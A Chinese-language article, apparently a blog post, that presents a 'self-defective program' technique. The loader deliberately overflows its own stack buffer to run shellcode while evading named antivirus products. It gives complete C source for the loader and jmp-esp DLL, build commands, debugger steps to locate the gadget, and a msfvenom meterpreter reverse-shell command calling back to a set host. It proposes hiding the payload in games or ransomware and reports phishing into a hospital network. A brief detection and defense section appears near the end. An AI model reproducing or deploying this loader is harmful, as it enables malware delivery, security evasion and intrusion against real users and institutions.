无Windows API的新型恶意程序:自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究
字数 1609 2025-08-05 08:20:09

自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究

前言

本文介绍了一种新型恶意软件制作技术,该技术不使用任何Windows API函数即可执行恶意代码,能够绕过主流杀毒软件(微软Defender、360、天守安全软件、火绒、腾讯管家)的检测。传统恶意软件通常采用分配内存→载入内存→执行线程的流程,而本技术通过程序自身的栈溢出漏洞实现代码执行,具有极高的隐蔽性和稳定性。

技术原理

核心思想

攻击者故意在程序中留下栈溢出漏洞,当程序运行时触发自身栈溢出攻击,从而执行恶意代码,无需使用Windows API函数进行内存分配或线程创建。

技术优势

  1. 无API调用:不使用任何Windows API函数,规避行为检测
  2. 高隐蔽性:程序表面正常,仅内部存在栈溢出漏洞
  3. 稳定性:解决了传统栈溢出攻击的通用性和稳定性问题
  4. 简易性:制作难度低于传统免杀技术

传统栈溢出攻击的局限性

  1. 地址依赖性:传统方法需要获取shellcode在内存中的精确地址
  2. 环境敏感性:不同系统和环境下内存地址不同,缺乏通用性
  3. 执行不稳定:直接在溢出字符后跟恶意代码易受栈上原始数据干扰

技术实现

关键概念

  1. 栈溢出:程序运行时内存空间固定,超出空间导致缓冲区溢出
  2. EIP寄存器:存储下一条要执行指令地址的寄存器
  3. NOP指令:空操作指令,用于构建"滑梯"提高执行稳定性
  4. ret返回地址:函数返回时跳转的地址,覆盖此地址可控制程序流

自缺陷程序架构

  1. 主程序(sdp.c):包含故意设计的栈溢出漏洞
  2. DLL库(fun.c):提供固定的jmp esp指令地址

实现步骤

1. 编写DLL库(fun.c)

#include <stdio.h>

void Vuln() {
    int a = 1;
}

void Jmp_Esp() {
    __asm__("jmp *%esp\n\t"
            "jmp *%eax\n\t"
            "pop %eax\n\t"
            "pop %eax\n\t"
            "ret");
}

2. 编写主程序(sdp.c)

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void Function(char *Input);

int main(int argc, char *argv[]) {
    Vuln(); // 调用dll库函数确保编译时引用dll
    
    char buff[10000];
    memset(buff, 'A', 2012); // 溢出点在2012个字符
    
    char addr[] = "\x8c\x14\x50\x62"; // dll里jmp esp指令地址
    char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // nop滑梯
    
    unsigned char code[] = "shellcode内容"; // 使用msf生成的shellcode
    
    memcpy(buff + 2012, addr, sizeof(addr) - 1);
    memcpy(buff + 2012 + sizeof(addr) - 1, nop, sizeof(nop) - 1);
    memcpy(buff + 2012 + sizeof(addr) - 1 + sizeof(nop) - 1, code, sizeof(code) - 1);
    
    Function(buff);
    return 0;
}

void Function(char *Input) {
    char Buffer2S[2000]; // 固定缓冲区大小,溢出点在2012个字符
    strcpy(Buffer2S, Input); // 调用strcpy函数触发缓冲区溢出
}

3. 生成shellcode

使用msfvenom生成32位shellcode,排除空字符(\x00):

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=8011 EXITFUNC=thread -f c -a x86 -b "\x00"

4. 编译DLL库

  1. 编译为目标文件:
gcc.exe -c fun.c -m32
  1. 生成动态链接库,指定基地址为0x62500000:
gcc.exe -shared -o fun.dll -Wl,--out-implib=libessfun.a -Wl,--image-base=0x62500000 fun.o -m32

5. 编译主程序

gcc.exe sdp.c -o sdp.exe ./libessfun.a -m32 -mwindows

6. 定位jmp esp指令地址

  1. 使用Immunity Debugger加载sdp.exe
  2. 执行Mona插件命令:
!mona find -s "\xff\xe4" -m fun.dll
  1. 找到jmp esp指令地址(如0x62501443),按小端序修改sdp.c中的addr变量:
char addr[] = "\x43\x14\x50\x62";
  1. 重新编译主程序

执行流程

  1. 受害者运行sdp.exe
  2. 程序触发自身栈溢出
  3. 覆盖返回地址跳转到DLL中的jmp esp指令
  4. jmp esp指令跳转到栈上执行恶意代码
  5. 恶意代码通过nop滑梯稳定执行shellcode

检测与防护

检测方法

  1. 内存检测:监控异常的内存执行行为
  2. 行为分析:检测不正常的栈操作模式
  3. 静态分析:识别可疑的栈操作代码模式

防护措施

  1. 启用DEP:数据执行保护可防止栈上代码执行
  2. 启用ASLR:地址空间布局随机化增加攻击难度
  3. 栈保护:使用栈保护技术如Canary值
  4. 代码审计:检查可疑的strcpy等不安全函数使用

实战应用

组合技术

  1. 游戏修改:将恶意代码插入游戏程序,游戏运行时后台执行
  2. 勒索病毒:利用此技术实现无API调用的文件加密
  3. 持久化:结合其他技术实现长期驻留

实际案例

作者在红队项目中成功使用此技术钓鱼获取医院内网入口点,绕过所有安全检测。

总结与思考

技术优势

  1. 免杀效果好:静态和行为检测均难以发现
  2. 稳定性高:一次编译可在多平台稳定运行
  3. 制作简单:比传统免杀技术更易实现

潜在风险

  1. 检测困难:传统特征检测难以发现此类恶意程序
  2. 滥用风险:可用于勒索病毒等高危攻击
  3. 隐蔽性强:可与其他合法程序结合增强隐蔽性

未来方向

  1. 自动化工具:开发自动化生成此类恶意程序的工具
  2. 检测技术:研究针对性的检测方法
  3. 防御体系:构建多层防御体系应对此类攻击

资源

完整源代码及演示视频:
https://github.com/baimao-box/Self-Defective-Program

注意:本技术仅限安全研究使用,切勿用于非法用途。

自缺陷程序利用堆栈溢出的隐匿稳定攻击技术研究 前言 本文介绍了一种新型恶意软件制作技术,该技术不使用任何Windows API函数即可执行恶意代码,能够绕过主流杀毒软件(微软Defender、360、天守安全软件、火绒、腾讯管家)的检测。传统恶意软件通常采用分配内存→载入内存→执行线程的流程,而本技术通过程序自身的栈溢出漏洞实现代码执行,具有极高的隐蔽性和稳定性。 技术原理 核心思想 攻击者故意在程序中留下栈溢出漏洞,当程序运行时触发自身栈溢出攻击,从而执行恶意代码,无需使用Windows API函数进行内存分配或线程创建。 技术优势 无API调用 :不使用任何Windows API函数,规避行为检测 高隐蔽性 :程序表面正常,仅内部存在栈溢出漏洞 稳定性 :解决了传统栈溢出攻击的通用性和稳定性问题 简易性 :制作难度低于传统免杀技术 传统栈溢出攻击的局限性 地址依赖性 :传统方法需要获取shellcode在内存中的精确地址 环境敏感性 :不同系统和环境下内存地址不同,缺乏通用性 执行不稳定 :直接在溢出字符后跟恶意代码易受栈上原始数据干扰 技术实现 关键概念 栈溢出 :程序运行时内存空间固定,超出空间导致缓冲区溢出 EIP寄存器 :存储下一条要执行指令地址的寄存器 NOP指令 :空操作指令,用于构建"滑梯"提高执行稳定性 ret返回地址 :函数返回时跳转的地址,覆盖此地址可控制程序流 自缺陷程序架构 主程序(sdp.c) :包含故意设计的栈溢出漏洞 DLL库(fun.c) :提供固定的jmp esp指令地址 实现步骤 1. 编写DLL库(fun.c) 2. 编写主程序(sdp.c) 3. 生成shellcode 使用msfvenom生成32位shellcode,排除空字符(\x00): 4. 编译DLL库 编译为目标文件: 生成动态链接库,指定基地址为0x62500000: 5. 编译主程序 6. 定位jmp esp指令地址 使用Immunity Debugger加载sdp.exe 执行Mona插件命令: 找到jmp esp指令地址(如0x62501443),按小端序修改sdp.c中的addr变量: 重新编译主程序 执行流程 受害者运行sdp.exe 程序触发自身栈溢出 覆盖返回地址跳转到DLL中的jmp esp指令 jmp esp指令跳转到栈上执行恶意代码 恶意代码通过nop滑梯稳定执行shellcode 检测与防护 检测方法 内存检测 :监控异常的内存执行行为 行为分析 :检测不正常的栈操作模式 静态分析 :识别可疑的栈操作代码模式 防护措施 启用DEP :数据执行保护可防止栈上代码执行 启用ASLR :地址空间布局随机化增加攻击难度 栈保护 :使用栈保护技术如Canary值 代码审计 :检查可疑的strcpy等不安全函数使用 实战应用 组合技术 游戏修改 :将恶意代码插入游戏程序,游戏运行时后台执行 勒索病毒 :利用此技术实现无API调用的文件加密 持久化 :结合其他技术实现长期驻留 实际案例 作者在红队项目中成功使用此技术钓鱼获取医院内网入口点,绕过所有安全检测。 总结与思考 技术优势 免杀效果好 :静态和行为检测均难以发现 稳定性高 :一次编译可在多平台稳定运行 制作简单 :比传统免杀技术更易实现 潜在风险 检测困难 :传统特征检测难以发现此类恶意程序 滥用风险 :可用于勒索病毒等高危攻击 隐蔽性强 :可与其他合法程序结合增强隐蔽性 未来方向 自动化工具 :开发自动化生成此类恶意程序的工具 检测技术 :研究针对性的检测方法 防御体系 :构建多层防御体系应对此类攻击 资源 完整源代码及演示视频: https://github.com/baimao-box/Self-Defective-Program 注意:本技术仅限安全研究使用,切勿用于非法用途。